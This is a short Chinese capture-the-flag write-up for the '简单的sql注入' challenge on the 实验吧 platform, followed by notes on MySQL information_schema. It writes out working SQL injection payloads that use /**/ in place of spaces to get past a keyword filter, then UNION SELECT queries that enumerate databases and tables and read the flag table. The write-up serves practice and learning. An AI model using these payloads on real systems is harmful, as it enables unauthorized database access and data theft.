”简单的sql注入-实验吧“过程简记

”简单的sql注入-实验吧“过程简记
测试输入 admin 界面无变化。
测试输入 1'  数据库报错:
”简单的sql注入-实验吧“过程简记

 测试输入 1' and 1=1 得到
”简单的sql注入-实验吧“过程简记
URL中id=1'+and+1=1 ,发现空格被替换成+。
上图可见使用MySQL数据库。
INFORMATION_SCHEMA数据库是MySQL系统自带的数据库,它提供了数据库元数据的访问方式。
其下有SCHEMATA表,其中
SCHEMA_NAME记录数据库名。
测试输入 and select from where 得到
”简单的sql注入-实验吧“过程简记
尝试使用/**/代替空格,构造SQL查询语句,查询数据库。
输入
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
得到
”简单的sql注入-实验吧“过程简记
可见该MySQL下有baloteli、information_schema、test、web1数据库。
构造以下SQL语句查询数据库表名。
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
”简单的sql注入-实验吧“过程简记
 发现名为flag的表。
构造SQL查询column的值。
1'/**/union/**/select/**/columns_name/**/from/**/information_schema.columns/**/where/**/'1'='1
”简单的sql注入-实验吧“过程简记
报错。据此是无法查询information_schema.columns。无法得知flag表中字段名。
测试构造SQL语句,猜字段。
1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
”简单的sql注入-实验吧“过程简记
得到Flag。
=====================================================================
MySQL补充知识

information_schema说明

大家在安装或使用MYSQL时,会发现除了自己安装的数据库以外,还有一个 information_schema数据库。information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。

  information_schema是信息数据库,其中保存着关于mysql服务器所维护的所有其他数据库的信息。在information_schema中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件,也就是information_schema说一个虚拟数据库,物理上并不存在。具体看下图:

 ”简单的sql注入-实验吧“过程简记
 ”简单的sql注入-实验吧“过程简记
”简单的sql注入-实验吧“过程简记
参考资料源于:https://www.cnblogs.com/lyftest/p/8034470.html